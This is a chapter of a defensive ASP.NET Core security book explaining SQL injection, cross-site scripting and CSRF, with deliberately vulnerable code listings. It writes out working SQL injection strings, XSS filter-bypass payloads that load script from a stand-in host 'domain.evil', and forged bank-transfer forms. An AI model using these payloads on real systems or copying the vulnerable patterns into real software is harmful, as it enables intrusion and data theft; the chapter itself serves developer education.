© Scott Norberg 2020
S. NorbergAdvanced ASP.NET Core 3 Security https://doi.org/10.1007/978-1-4842-6014-2_5

5. Understanding Common Attacks

Scott Norberg1 
(1)
Issaquah, WA, USA
 

The last thing to talk about before I can dive too deeply into the security aspects of ASP.NET Core is to talk about common web attacks. The focus on this book is meant to be preventing attacks, not teaching you to be a penetration tester, but it will be easier to talk about how to prevent those attacks if we know how those attacks occur.

Before I jump in, though, it is worth taking a moment to define a couple of terms. I’ll use the term “untrusted input” when talking about information you receive from users or third-party systems that may be sending you unsafe information. Any and all untrusted input needs to be scrutinized and/or filtered before using it for processing or display in your app. This is in comparison to “trusted input,” which is information you get from systems you believe will not send you faulty or malicious data. I would recommend treating only systems you have 100% control over as “trusted” and treating everything else as “untrusted,” no matter what the reputation of the sender is, but this may vary depending on your needs and risk tolerance. For now, just think of “untrusted” data as “possibly malicious” data.

To follow along with many of the examples in this chapter, you can download and use the Vulnerability Buffet from this URL: https://github.com/ScottNorberg-NCG/VulnerabilityBuffet. I wrote that website so I had an intentionally vulnerable website against which I could test security scanners (and know what items I wanted the scanners to find, know which findings were false positives, etc.), but it’s a great resource here because it has many different vulnerabilities that can be exploited different ways.

It may help to understand the examples here if you knew that most pages in the website allow you to search for food names and/or food groups, and the site will return basic information based on your search text. But each page has a different vulnerability, and the site tells you how each page is vulnerable.

Note

Many of the examples both in the website and the book use “beef” as the search text. This is not in any way intended as a comment against vegetarians or vegans, instead it is a callout to the Browser Exploitation Framework, a.k.a. BeEF.1 BeEF is a popular, open source tool that helps ethical hackers (and nonethical ones too, I suppose) exploit XSS vulnerabilities.

SQL Injection

One of the most common, and most dangerous, types of attacks in the web world today are SQL injection attacks. SQL injection attacks occur when a user is able to insert arbitrary SQL into calls to the database. How does this happen? Let’s look at the most straightforward way that many of you are already familiar with. The example in Listing 5-1 was taken from the Vulnerability Buffet.2
private AccountUserViewModel UnsafeModel_Concat(string foodName)
{
  var model = new AccountUserViewModel();
  model.SearchText = foodName;
  using (var connection = new SqlConnection(↲
    _config.GetConnectionString("DefaultConnection")))
  {
    var command = connection.CreateCommand();
    command.CommandText = "SELECT * FROM FoodDisplayView
      WHERE FoodName LIKE '%" + foodName + "%'";
    connection.Open();
    var foods = new List<FoodDisplayView>();
    using (var reader = command.ExecuteReader())
    {
      while (reader.Read())
      {
        //Code that’s not important right now
      }
    }
    model.Foods = foods;
    connection.Close();
  }
  return model;
}
Listing 5-1

Code that is vulnerable to a basic SQL injection attack

Note

You’ll need to know the basics of how ADO.NET works to understand the SQL injection examples in this chapter. ADO.NET is the technology underlying the Entity Framework (and most or all of the other Object-Relational Mappers, or ORMs, out there), and understanding it will help you keep your EF code secure. If you don’t understand these examples and need an introduction to ADO.NET, please read the first few sections of Chapter 8.

If I were to call this method searching for the food name “Beef”, this is what gets sent to the database.
SELECT * FROM FoodDisplayView WHERE FoodName LIKE '%Beef%'"
Listing 5-2

Resulting SQL from a query vulnerable to injection attacks

Listing 5-2 looks like (and is) a perfectly legitimate SQL query. However, if instead of putting in some food name, you put something like “beef' OR 1 = 1 -- ” as your search query, something very different happens. Listing 5-3 shows what is sent to the database.
SELECT * FROM FoodDisplayView WHERE FoodName LIKE '%beef' OR 1 = 1 -- %'
Listing 5-3

Query with another WHERE condition inserted

If you look at the code and query, you now see that the method will always return all rows in the table, not just the ones in the query. Here’s what happened:
  1. 1.

    The attacker entered the word “beef” to make a valid string, but it is not needed here.

     
  2. 2.

    In order to terminate the string (so the SQL statement doesn’t throw an error), the attacker adds an apostrophe.

     
  3. 3.

    To include ALL of the rows in the database, not just the ones that match the search text, the attacker added “ OR 1 = 1”.

     
  4. 4.

    Finally, to cause the database to ignore any additional query text the programmer may have put in, the attacker adds two dashes so the database thinks that that text (in this case, the original ending apostrophe for the food name) is merely a comment.

     
In this particular scenario, this attack is relatively benign, since it only results in users being able to pull data that they’d have access to anyway if they knew the right search terms. But if this vulnerability exists on your login page, an attacker would be able to log in as any user. To see how, here’s a typical (and hideously insecure) line of code to build a query to pull login information.
var query = "SELECT * FROM AspNetUsers WHERE UserName = '" +↲
  model.Username + "' AND Password = '" + password + "'";
Listing 5-4

Login query that is vulnerable to SQL injection attacks

To exploit the code in Listing 5-4, you could pass in “administrator' --” as the username and “whatever” as the password, and the query in Listing 5-5 would result (with a strikethrough for the code that becomes commented out).
SELECT * FROM AspNetUsers WHERE UserName = 'administrator' --↲
  AND Password = 'whatever'
Listing 5-5

Login query that will always return an administrator (if present)

Of course, once you realize you can inject arbitrary SQL, you can do so much more than merely log in as any user. Depending on how well you’ve layered your security and limited the permissions of the account that the website uses to log into the database, an attacker can pull data from the database, alter data in your database, or even execute arbitrary commands on the server using xp_cmdshell. You’ll get a sense of how in the following sections when I show you some of the different types of SQL injection attacks.

Union Based

In short, a Union-based SQL injection attack is one where an attacker uses an additional Union clause to pull in more information than you as a developer intended to give. For instance, if in the previous query, instead of sending “' OR 1 = 1 -- ” to the database, what would happen if we sent “Beef' UNION SELECT 1, 1, UserName, Email, 1, 1, 1, 1 FROM AspNetUsers”? Listing 5-6 contains the query that would be sent to the database (with line breaks and columns explicitly used added for clarity).
SELECT FoodID, FoodGroupID, FoodGroup, FoodName, Calories,↲
  Protein, Fat, Carbohydrates
FROM FoodDisplayView
WHERE FoodName LIKE '%Beef'
UNION
SELECT 1, 1, UserName, Email, 1, 1, 1, 1
FROM AspNetUsers
-- %'
Listing 5-6

Union-based SQL injection attack

Finding the number and format of the columns would take some trial and error on the part of the hacker, but once the hacker figures out the number and format of the columns in the original query, it becomes much easier to pull any data from any table. In this case, the query can pull username and email of all users in the system.

Before I move on to the next type of SQL injection attack, I should note that one common suggestion to prevent SQL injection attacks from happening is to escape any apostrophes by replacing single apostrophes with double apostrophes. Union-based SQL injection attacks will still work if you do this, if the original query isn’t expecting a string. Here is an example.
private AccountUserViewModel UnsafeModel_Concat(string foodID)
{
  var model = new AccountUserViewModel();
  model.SearchText = foodName;
  using (var connection = new SqlConnection(↲
    _config.GetConnectionString("DefaultConnection")))
  {
    var command = connection.CreateCommand();
    command.CommandText = $"SELECT * FROM FoodDisplayView↲
      WHERE FoodGroupID = {foodID}";
    connection.Open();
    var foods = new List<FoodDisplayView>();
    using (var reader = command.ExecuteReader())
    {
      //Code to load items omitted for brevity
    }
    model.Foods = foods;
    connection.Close();
  }
  return model;
}
Listing 5-7

SQL injection without apostrophes

The most important thing to notice here is that the query contains no apostrophes on its own, so any injected code need not include apostrophes to make a valid query. Yes, that does somewhat limit what an attacker can exploit, but an attacker could do a union-based attack against the code in Listing 5-7 to whatever table they want to pull data simply by using the attack text from Listing 5-6 and replacing “%Beef'” with a number.

Note

You may think that hackers won’t want to go through the trouble of trying various combinations in order to come up with something that works. After all, if you look closely at the query that works (in Listing 5-7), I had to know that the Union clause needed eight parameters, the third and fourth need to be strings, and that the remaining need to be integers in order for this attack to work. But you can download free tools that automate most of this work for you. The best one that I know of is called sqlmap,3 and not only is it free, but it is also open source. It is almost as easy to use as pointing sqlmap at your website and telling it to “go find SQL injection vulnerabilities.”

Error Based

Error-based SQL injection refers to hackers gleaning information about your database based on error messages that are returned to the user interface. Imagine how much easier creating a Union-based injection attack would be if a hacker could distinguish between their injected query missing a column vs. just having the correct number of columns but are mixing column types. Showing the database error messages to the hacker makes this trivially easy. To prove it, Figure 5-1 shows the error message (in the Vulnerability Buffet’s Error-based test page) that gets returned if a hacker attempts a Union-based attack, but guesses the number of columns wrong.
../images/494065_1_En_5_Chapter/494065_1_En_5_Fig1_HTML.jpg
Figure 5-1

Error if a Union-based attack has an incorrect number of columns

The error message states explicitly that “All queries combined using a UNION, INTERSECT, or EXCEPT operator must have an equal number of expressions…”, making it trivially easy for a hacker to know what to try next: more columns in the Union clause.

Once the number of columns is known, the next step is to start experimenting with data types. If you imagine that I didn’t know that the first parameter was an integer, I could try supplying the word “Hello” instead. Figure 5-2 shows an error message that nicely tells me not only is “Hello” not valid, but also that it needs to be an integer.
../images/494065_1_En_5_Chapter/494065_1_En_5_Fig2_HTML.jpg
Figure 5-2

Error if there is a data type mismatch

Long story short, showing SQL errors to the user makes a hacker’s life much easier.

Boolean-Based Blind

For both Boolean-based blind and Time-based blind attacks, blind refers to the hackers’ inability to see the actual results of the SQL query. A Boolean-based blind is a query that is altered to so that an action occurs if the result of the query is true or false.

To show how this is useful, let’s go through an example of a hacker trying to find out all of the column names of the AspNetUsers table. To be clear, this is not an example of a Boolean-based blind (yet), but instead is an example of a type of attack that is made easier with a Boolean-based blind. In this scenario, the hacker has already figured out that the AspNetUsers table exists, and is now trying to figure out the column names. First, let’s go over the brute force way of pulling the column names from the database. In this example, imagine that the query is intended to return an integer, and the hacker has hijacked the original query to send this to the database.
SELECT TOP 1 CASE WHEN COUNT(1) > 0 THEN 1 ELSE 200000000000 END AS ColumnName
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'AspNetUsers' AND COLUMN_NAME LIKE 'A%'
GROUP BY COLUMN_NAME
ORDER BY COLUMN_NAME
Listing 5-8

A query that returns true if a table has a column that starts with the letter “A”

What’s going on in Listing 5-8? This queries SQL Server’s internal table that stores information about columns. The “table_name” column stores table names, and the Where clause searches for column names that start with the letter “A”. If such a column exists, the query returns a valid integer (1) and everything runs as expected. If not, then we return an integer that’s too large, and therefore causes an error.

In short, we make a guess about a column name, and if we don’t guess correctly, the website lets us know by throwing an error.

In our case, because the AspNetUsers table has a column called “AccessFailedCount”, the query succeeds. We know that at least one column exists that starts with A. Let’s try to get the entire column name.
SELECT TOP 1 CASE WHEN SUBSTRING(COLUMN_NAME, 2, 1) = 'a'
  THEN 1 ELSE 200000000000 END AS ColumnName
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'AspNetUsers' AND COLUMN_NAME LIKE 'A%'
ORDER BY COLUMN_NAME
Listing 5-9

A query to see if the first column that starts with “A” has a second letter “a”

As you can see in Listing 5-9, instead of doing a Group By to see if any column exists, the hacker would hone in on the first column by ordering by column name and selecting only the top 1. They then check to see if the second character of that column starts with the letter “a”. If so, the query returns a valid integer and the query does not throw an error. If not, an error occurs, telling the hacker that they guessed incorrectly. Since the second letter of “AccessFailedCount” is “c”, an error would occur. But the hacker can keep going.
SELECT TOP 1 CASE WHEN SUBSTRING(COLUMN_NAME, 2, 1) = 'b'
  THEN 1 ELSE 200000000000 END AS ColumnName
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'AspNetUsers' AND COLUMN_NAME LIKE 'A%'
ORDER BY COLUMN_NAME
Listing 5-10

A query to see if the first column that starts with “A” has a second letter “b”

Here in Listing 5-10, the hacker checks to see if the second character is “b”. It is not, so keep going.
SELECT TOP 1 CASE WHEN SUBSTRING(COLUMN_NAME, 2, 1) = 'c' THEN 1 ELSE 200000000000 END AS ColumnName
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'AspNetUsers' AND COLUMN_NAME LIKE 'A%'
ORDER BY COLUMN_NAME
Listing 5-11

A query to see if the first column that starts with “A” has a second letter “c”

In our scenario, the code in Listing 5-11 executes without an error so we know that the column starts with “Ac”. It’s time to move to the next character, as can be seen in Listing 5-12.
SELECT TOP 1 CASE WHEN SUBSTRING(COLUMN_NAME, 3, 1) = 'a'
  THEN 1 ELSE 200000000000 END AS ColumnName
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'AspNetUsers' AND COLUMN_NAME LIKE 'Ac%'
ORDER BY COLUMN_NAME
Listing 5-12

A query to see if the first column that starts with “Ac” has a third letter “a”

This process can be repeated for each database, table, column, and even data in your database to pull all data, with all of your schema, out without you knowing. Here are database objects that you can query to pull information about your database schema from the database:
  • Databases: SELECT [name] FROM sys.databases

  • Schemas: SELECT [name] FROM sys.schemas

  • Tables: SELECT [name] FROM sys.tables

  • Columns: SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

And of course, once you have all of the names of the tables and columns, you can use the same types of queries to pull the data itself.

This may sound like a lot of work, but sqlmap will automate this for you. You just need to put in your target page, tell it what data to pull out, and watch it do the hard work for you.

Of course, if a hacker is causing thousands of errors to occur on the server, someone might notice. Here’s where a Boolean-based blind attack can come in handy. Instead of causing an error to be thrown when a query fails, you can force a query to return no results if the subquery returns false. To see this in action, let’s run this attack against this query.
SELECT UserName
FROM AspNetUsers
WHERE Email LIKE '%<<USER_INPUT>>%'
Listing 5-13

Query vulnerable to SQL injection

If the hacker knows that “[email protected]” is a valid email, then they can change the query in Listing 5-13 to look for column names like Listing 5-14 (line breaks added for clarity).
SELECT UserName
FROM AspNetUsers
WHERE Email LIKE '%[email protected]'
  AND EXISTS (
    SELECT *
    FROM INFORMATION_SCHEMA.COLUMNS
    WHERE table_name = 'AspNetUsers' AND COLUMN_NAME LIKE 'A%'
  )
--%'
Listing 5-14

Boolean-based SQL injection looking for column names

This approach is much easier than tweaking a query to return an integer, and can often be automated, either via sqlmap or via a custom script.

Time-Based Blind

A Time-based blind occurs when a hacker causes a delay in the database if their guess is correct. You can do this in SQL Server by using “WAITFOR DELAY”. WAITFOR DELAY can be used to delay the query by a number of hours, minutes, or seconds. In most cases, delaying the query for 5 or 10 seconds would be enough to prove that the query returned true.

Time-based SQL injection is harder to perform in SQL Server than MySQL because SQL Server requires WAITFOR DELAY to be executed outside of a query, but it is still possible. Listing 5-15 shows an example.
SELECT UserName
FROM AspNetUsers
WHERE Email LIKE '%[email protected]'
GO
IF EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'AspNetUsers' AND COLUMN_NAME LIKE 'A%')
BEGIN
     WAITFOR DELAY '00:00:05'
END--%'
Listing 5-15

Example of a Time-based blind SQL injection attack

Second Order

A Second-Order SQL injection refers to the scenario in which SQL is saved to the database safely, but is processed unsafely at a later time. As an example, we can go back to the Vulnerability Buffet. In that app, the users can safely save their favorite food in their user preferences, but the page to load similar foods, /AuthOnly/StoredSQLi,4 unsafely creates a query searching for the user’s favorite food. To clarify, here is the process:
  1. 1.

    User enters data into the system, which is safely stored into the database.

     
  2. 2.

    That user, another user, or system process accesses that data at a later time.

     
  3. 3.

    That data is unsafely added to a SQL script and then executed against the database in a manner similar to the other SQL injection attacks I’ve outlined in this chapter.

     

This attack is much harder to find than the previous ones, since the page where the user enters the data isn’t the page where that data is used in the vulnerable query. But if found, a hacker can exploit this just as easily as any other type of SQL injection attack.

One more note: SQL Server has a stored procedure called sp_executesql that allows a user to build and execute SQL at runtime. This functionality must be used very cautiously, if at all, because of the risk of a second-order SQL injection attack.

SQL Injection Summary

I’ll save any discussion of fixing these issues for Chapter 8, the chapter on data access. For now, though, know that there are effective solutions to these issues; it’s just easy to overlook them if you don’t know what you’re doing. But I hope you see that SQL injection is a serious vulnerability to pay attention to, and if online articles are any indication, it’s a vulnerability that’s all too often ignored.

Next, let’s talk about another common vulnerability – Cross-Site Scripting, or XSS.

Cross-Site Scripting (XSS)

I’ve touched upon Cross-Site Scripting (often abbreviated XSS) several times before, but now is the time to dig more deeply into it. XSS is essentially the term for injecting JavaScript into a web page. Let’s look at a simple example from the Vulnerability Buffet. The “Reflected From QS” page is supposed to take a search query from the query string and then remind you what you searched for when you see the results as seen in Figure 5-3.
../images/494065_1_En_5_Chapter/494065_1_En_5_Fig3_HTML.jpg
Figure 5-3

Page vulnerable to XSS working properly

Notice that I searched for the word “beef” in the query string, and the page says “You searched for: beef”. What happens when I search for “<script>alert(‘hacked’)</script>” instead?

The text may be hard to read, but if you look carefully in Figure 5-4, the apostrophes around “hacked” got URL encoded in the browser, but otherwise everything else worked perfectly. ASP.NET happily decoded these characters for me. When I sent the entire contents of the script to the web page, I indeed got an alert that says “hacked” .
../images/494065_1_En_5_Chapter/494065_1_En_5_Fig4_HTML.jpg
Figure 5-4

A successful XSS attack

This attack is called a reflected XSS attack because the input is taken directly from the request and immediately reflected back to the browser. Like SQL injection, which has a second-order attack, XSS has an attack based on a stored attack value called persistent XSS. Other than source, reflected and persistent XSS behave basically the same way.

Most of the examples of XSS, both in this book and elsewhere, show reflected XSS, not persistent XSS. This is not because reflected XSS is more dangerous. Certainly, if values passed in via a query string are vulnerable to XSS, then that particular page is a prime target for phishing and spear-phishing attacks. But if such an attack succeeds, only one user is compromised. If a persistent XSS attack succeeds, then every user who visits that page is affected. If that’s a high-traffic page, then most or all of your users could be affected.

Note

As long as I’m making parallels between persistent XSS and second-order SQL injection attacks, I’d like to suggest that second-order SQL injection attacks are actually less damaging than attacks that can be executed right away. This may be a surprise to you if you’re still equating “SQL injection” with the stereotypical “DROP TABLE Users” command, but remember that hackers don’t want to be noticed. They’re less likely to try to damage your site with such a command and are more likely to try to steal your data using the techniques I outlined earlier. Pulling schema out character by character is much easier if you can run a query and get results vs. needing to run two (or more) actions to get your script to run.

XSS and Value Shadowing

Before I move on to some examples that show you different ways of adding JavaScript to a page, there’s something worth mentioning about minimizing the potential damage from a reflected XSS attack. Reflected XSS is harder to exploit when you don’t allow value shadowing . Value shadowing is the term for allowing input to come in from multiple locations. This was common in the ASP.NET Framework because you could look for values using the Request object by simply using Request["VALUE_NAME"]. Such a query would look in the form, query string, and cookies (and possibly more sources). In other words, if I had a form that was vulnerable to value shadowing with two fields, “Username” and “Password,” an attacker would be able to put those two values in the query string and bypass the form entirely.

Why does value shadowing make reflected XSS easier to exploit? Because this allows an attacker to submit whatever information they want by tricking a user by clicking a link with the information in the query string, not in the form, which in turn makes attacks like phishing and spear phishing much easier to pull off. Blocking value shadowing prevents this from happening. We’ll get into more details about this later, but ASP.NET Core has made it harder, but not impossible, for a developer to accidentally put in value shadowing vulnerabilities.

For now, to further your understanding of XSS, let’s dive into ways an attacker can execute their own JavaScript on your page.

Bypassing XSS Defenses

I’ll talk about ASP.NET Core-specific ways to defend against XSS later in the book. However, for right now, to get a better understanding of what different types of XSS attacks can work, it would be worth going through different ways to perform an XSS attack, including ways to get around common defenses.

Bypassing Script Tag Filtering

One common way that developers will use to attempt to prevent XSS attacks is to remove all <script> tags from any input from users. While this sounds good at first glance, there are numerous ways around this. To start, one has to remember that the default string.Replace implementation in .NET is case sensitive. So, the code in Listing 5-16 is not a fix for XSS.
content = content.Replace("<script>", "");
Listing 5-16

Replacing a script tag from text to try to prevent XSS

There are several payloads that would allow you to execute an XSS attack that would bypass this defense, but the easiest is to simply make the tag uppercase, like this: <SCRIPT SRC="http://domain.evil/evil.js"></SCRIPT>.

Making the defense case sensitive is fairly simple. All you need to do is use a regular expression, as seen in Listing 5-17.
content = Regex.Replace(content, "<script>", "", ↲
                        RegexOptions.IgnoreCase);
Listing 5-17

Case-insensitive removal of all <script> tags

There are a number of ways around this, including adding a space before the end bracket of the tag. But you can also add a slash, like this: <script/data="x" src="http://domain.evil/evil.js"></script>. Or, you can embed script tags, like this: <scr<script>ipt src="http://domain.evil/evil.js"</script>, which would allow hackers to add their own scripts because the inner <script> tag would be removed by the Regex.Replace statement, leaving the outer <script> tag intact.

In short, if you absolutely need to use regular expressions to prevent XSS, you will need to think of numerous edge cases, otherwise hackers will almost certainly find a way around your defenses.

Img Tags, Iframes, and Other Elements
As I mentioned earlier, if you somehow manage to successfully remove all <script> tags from any user input, a hacker can still pretty easily add script to the page. The most common way is to do this through an <img> tag, as seen in Listing 5-18.
<img src="x" onerror='↲
  var js=document.createElement("script");↲
  js.src="http://domain.evil/evil.js";↲
  document.body.appendChild(js);' />
Listing 5-18

XSS payload that bypasses all <script> tag filtering

Several other tags have an onload, onerror, or some other event that could be triggered without any user interaction. (And there are many more that could be added if you wanted to include scripts that did require user interaction, like the ones that support “onmouseover” .) Here are the ones that are included in the Vulnerability Buffet:
  • <body>: Has an “onload” tag. And yes, for some reason browsers will honor nested body tags.

  • <iframe>: The “src” attribute can be used to load arbitrary scripts and get around most defenses. More details in the following.

  • <marquee>: I haven’t seen this tag used in more than a decade, but browsers still support both it and the “onstart” action.

  • <object>: This supports the “onerror” attribute.

  • <svg>: This supports the “onload” attribute.

  • <video>: This supports the “onerror” attribute.

Tip

This is not a comprehensive list of all tags that could work. As I was writing this chapter, I ran across a tweet on Twitter from a hacker saying that their XSS attack using an <img> tag was blocked by a Web Application Firewall (WAF), but the same attack using an <image> tag instead went through.5 I tried it, and sure enough I was able to run JavaScript in an onerror attribute.

Most of these are fairly straightforward – either an element is told to run a script when it loads or starts, or it can run a script if (when) there’s an error. As I alluded to, the <iframe> is a little different. Many of you already know that an iframe can be used to load a third-party page. It can also be used to specify content by specifying “data:text/html” in your src. We can even encode our payload to help hide it from any firewalls that might be listening for malicious content. Listing 5-19 has an example, with the content “<script src='http://domain.evil/evil.js'></script>” encoded.
<iframe src="data:text/html, %3c%73%63%72%69%70%74%20%73%72↲
  %63%3d%27%68%74%74%70%3a%2f%2f%64%6f%6d%61%69%6e%2e%65%76↲
  %69%6c%2f%65%76%69%6c%2e%6a%73%27%3e%3c%2f%73%63%72%69%70↲
  %74%3e"></iframe>
Listing 5-19

Iframe with encoded script payload

Note

Outdated books and blogs about XSS many contain examples that include JavaScript being run in completely nonsensical places, such as adding something like “javascript:somethingBad()” to the “background” attribute of a table. Be aware that most browsers will ignore things like this now, so there’s one less thing to worry about.

As I mentioned earlier, even if you figure out how to block all new elements, attackers can still add their own script to your website. Let’s dive into examples on how to do that now.

Attribute-Based Attacks

All of the attacks I’ve mentioned so far can be mitigated if you merely HTML encode all of your angle brackets. To do that, you would need to turn all “<” characters into “&​lt;” and all “>” characters into “&​gt;” and to be protected from all of these attacks. But if you do this, it is still possible to perform an XSS attack. Take, for example, the search scenario I talked about earlier. If you have a search page, you’ll probably want to show the user what they searched for on the page. If you have the text within a <span> tag, then the preceding attacks won’t work. But if you want to keep the text within a text box to make it easy to edit and resubmit, then the user can manipulate the <input> tag to incorporate new scripts.

In this example, text is added to the “value” attribute of an element. A hacker can close off the attribute and then add one of their own. Here is an example, with the hacker’s input in bold.
<input type="text" id="search" value='search text'
  onmouseover='MaliciousScript()' />
Listing 5-20

Inserting XSS into an attribute

In Listing 5-20, the attacker entered “search text”, added a quotation mark to close off the “value” attribute, and then added a new attribute – onmouseover – which executed the hacker’s script.

Hijacking DOM Manipulation

The last way JavaScript can easily be inserted onto a page is by hijacking other code that alters the HTML on the page (i.e., alters the DOM). Here is an example that was adapted from the Vulnerability Buffet.6
@{
  ViewData["Title"] = "XSS via jQuery";
}
<h1>@ViewData["Title"]</h1>
<partial name="_Menu" />
<div class="attack-page-content">
  <p>
    This page unsafely processes text passed back from the↲
    server in order to do the search.
  </p>
  <div>
    <label for="SearchText">Search Text:</label>
    <input type="text" id="SearchText" />
  </div>
  <button onclick="RunSearch();">Search</button>
  <h2>
    You searched for:
    <span id="SearchedFor">@ViewBag.SearchText</span>
  </h2>
  <table width="100%" id="SearchResult">
    <tr>
      <th>ID</th>
      <th>Food Name</th>
      <th>Food Group</th>
      <th>Calories</th>
      <th>Protein</th>
      <th>Fat</th>
      <th>Carbohydrates</th>
    </tr>
  </table>
</div>
@section Scripts
{
  <script>
    function RunSearch() {
      var searchText = $("#SearchText").val();
      ProcessSearch(searchText);
    }
    function ProcessSearch(var searchText) {
      $("#SearchedFor").html(searchText);
      $.ajax({
        type: "POST",
        data: JSON.stringify({ text: searchText }),
        dataType: "json",
        url: "/XSS/SearchByName/",
        success: function (response) {
          ProcessResults(response);
        }
      });
    }
    function ProcessResults(response) {
      //Removed for brevity
    }
    var qs = new URLSearchParams(window.location.search);
    var searchText = urlParams.get('searchText');
    if (searchText != null)
      ProcessSearch(searchText);
  </script>
}
Listing 5-21

HTML/JavaScript that is vulnerable to DOM based XSS attacks

In Listing 5-21, running a search causes the text you searched for to be added as HTML (not as text) to the SearchedFor span. But worse, this function is called when the page loads. The last thing in the <script> tag is looking in the URL for a parameter called “searchText”, and if found, the page runs the search text with the value in the query string. In this way, the XSS attack can occur without any server-side processing.

Note

Most sources break XSS into three categories: Reflected, Persistent, and DOM based. There is little difference between how others present Reflected or Persistent XSS – these are pretty straightforward. Most books include a third type of XSS: DOM based. DOM based XSS is basically XSS as I’ve outlined in this section – indirectly adding your script to the page by hijacking script that manipulates the DOM. How you execute the script is different from how you get the script to the page, and mixing them is confusing, so I’ve presented things a bit differently here. If you read another book, or talk to others, expect them to think about three categories of XSS, rather than just two categories with three different methods of execution.

JavaScript Framework Injection

One type of XSS that doesn’t get the attention it deserves is injecting code into your JavaScript framework templates. The difference between this and normal XSS is that instead of entering scripts to be interpreted directly by the browser, Framework Injection focuses on entering text to be interpreted by the Framework engine. Here is an example.
<div class="attack-page-content" ng-controller=
  "searchController" ng-app="searchApp">
    <p>@Model.SearchText</p>
</div>
<script>
    var app = angular.module('searchApp', []);
    app.controller('searchController', function ($scope) {
        $scope.items = [];
        $scope.alert = function () {
            alert("Hello");
        };
    });
</script>
Listing 5-22

Code vulnerable to Framework Injection (AngularJS)

If an attacker is able to enter “{{alert()}}” as the SearchText in the code in Listing 5-22, the page will be rendered with that text, which will be interpreted by the AngularJS engine as text to interpret.

Caution

ASP.NET generally does a good job of preventing XSS attacks. It does not do anything to protect against this type of JavaScript framework injection, so take a special note of this type of XSS.

Third-Party Libraries

Another possible source of Cross-Site Scripting that doesn’t get nearly enough attention in the web development world is the inclusion of third-party libraries. Here are two ways in which a hacker could utilize a third-party script to execute an XSS attack against a website:
  • If you are utilizing an external provider for your script (usually via a Content Delivery Network, or CDN, such as if you pulled your jQuery from Microsoft using a URL that looks like this: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.4.1.min.js), a hacker could replace the content provider’s copy of the JavaScript file with one of their own, except including some malicious script within the file. Remember, content providers are not immune from hacking.

  • If you download a JavaScript library, the library creator may have included malicious scripts in the download. This can happen if a hacker manages to add their own code to the download as with the previous example, or they might create the entire library themselves with the intent that you download and then use the file.

If you’re using one of the most popular third-party libraries, you’re mostly safe since these take their security pretty seriously. But there are techniques to tell the browser to check the integrity of these files which I’ll show you later in the book.

Consequences of XSS

I’ve generally stayed away from, and will continue staying away from, going into depth on exploiting vulnerabilities. But I would like to take a minute to go into some of the possible consequences of an XSS attack to give you an idea what a serious vulnerability it is.

As I mentioned at the beginning of this chapter, there is a free and open source tool out there called the Browser Exploitation Framework, or BeEF, that makes it incredibly easy to take advantage of XSS vulnerabilities. Here are just a few things it can do:7
  • Pull information about the user’s system (operating system, browser, screen size, etc.)

  • Redirect the user to a page of the hacker’s choice

  • Replace content on the page with content of the hacker’s choice

  • Detect software installed on the machine

  • Run a scan of the user’s network

  • Check to see which social networks the user is logged into

  • Attempt to hack into your router

  • Attempt to hijack your webcam

  • And my personal favorite: get a Clippy lookalike to ask if you want to update your browser, and then if the user clicks Yes, send a virus instead of a browser update

You may have known already (or could have guessed) that XSS could be used to deface websites or steal information about the browser, but run network scans or hack your router? Yes, XSS is a serious vulnerability.

Another thing BeEF will help you do is submit requests, without the knowledge or consent of the user, on behalf of that user performing certain actions. Want to know how? Read on!

Cross-Site Request Forgery (CSRF)

In a nutshell, a Cross-Site Request Forgery, or CSRF, attack is one where an attacker takes advantage of a user’s session and makes a request on the user’s behalf without the user’s knowledge or consent. Here is an example of a very simple CSRF attack.
<a href="https://bank.com/transfer?toAccount=123456&↲
  amount=1000">Win a Free iPad!</a>
Listing 5-23

Very simple CSRF attempt

What’s going on in Listing 5-23?
  1. 1.

    User sees a link (either in an email or in a malicious site) that says “Win a FREE iPad!!!”

     
  2. 2.

    User clicks the link, which sends a request to bank.com to transfer $1,000 over to the hacker’s bank account.

     
That’s it. To clarify, there are three things that need to be true in order for this attack to work:
  1. 1.

    User must already be logged in. If they are, the browser may automatically send the authentication tokens along with the request.

     
  2. 2.

    Site allows GET requests to make such a sensitive operation. This can happen either because the web developer mistakenly allowed GET requests or allowed value shadowing.

     
  3. 3.

    User clicks the link to start the process.

     
To save the user the trouble of actually clicking a link, an attacker could trigger a browser to make the same GET request by putting the URL in an image, as seen in Listing 5-24.
<img src="https://bank.com/transfer?toAccount=123456&↲
  amount=1000" />
Listing 5-24

CSRF without user intervention

For endpoints that don’t allow GETs, you can just use a form, as seen in Listing 5-25.
<form action=" https://bank.com/transfer?toAccount=123456&↲
  amount=1000">
  <input type="hidden" name="toAccount" value="123456" />
  <input type="hidden" name="amount" value="1000" />
  <button>Win a FREE iPad!!!</button>
</form>
Listing 5-25

Simple CSRF attempt via a form

Skipping user intervention would be relatively easy here too. You could just write some JavaScript that submits this form when the page is done loading. (I’ll leave it to you to write that code if you really want it.)

Bypassing Anti-CSRF Defenses

The best way to stop CSRF attacks is to prove that any POST came as a result of the normal flow a user would take. That is, any POST follows a GET because the user requests a page, fills out a form, and then submits it. The hard part about this is that since Web is stateless, where do you as a developer store the token so you can validate the value you got back? In other words, you as a developer have to store the token somewhere so you can validate what the user sends back. Storing the token within session or the database is certainly an option, but this requires a relatively large amount of work to configure.

Enter the Double-Submit Cookie Pattern. The Double-Submit Cookie Pattern says that you can store the token in two places: within the form in a hidden field, and also within a cookie or other header. The theory is that if the form field and the header are the same, and the headers aren’t accessible to the hacker and therefore they couldn’t see the cookie, then the request must have been in response to a GET.

Note

In this case, the cookie would need to be added using the httponly attribute, which hides it from any JavaScript the hacker might use to look for the cookie and return it.

Here is the problem: as long as the hacker knows what the cookie name is – which they can get by submitting a form and examining the traffic in a “valid” request – they can pull the value from the hidden field, add the cookie, and then submit the form. In this case, the server sees that the values are the same and thinks that the request is valid.

Luckily for us, .NET does something a bit more sophisticated than this, making it much tougher to pull off a CSRF attack. We’ll cover that, and how the CSRF protection could be made even better, later in the book.

Operating System Issues

True operating system security is a field of study in and of its own. There are plenty of sources that will tell you how to secure your favorite operating system. What I want to focus on instead are the attacks to the operating system that are typically done through websites.

Directory Traversal

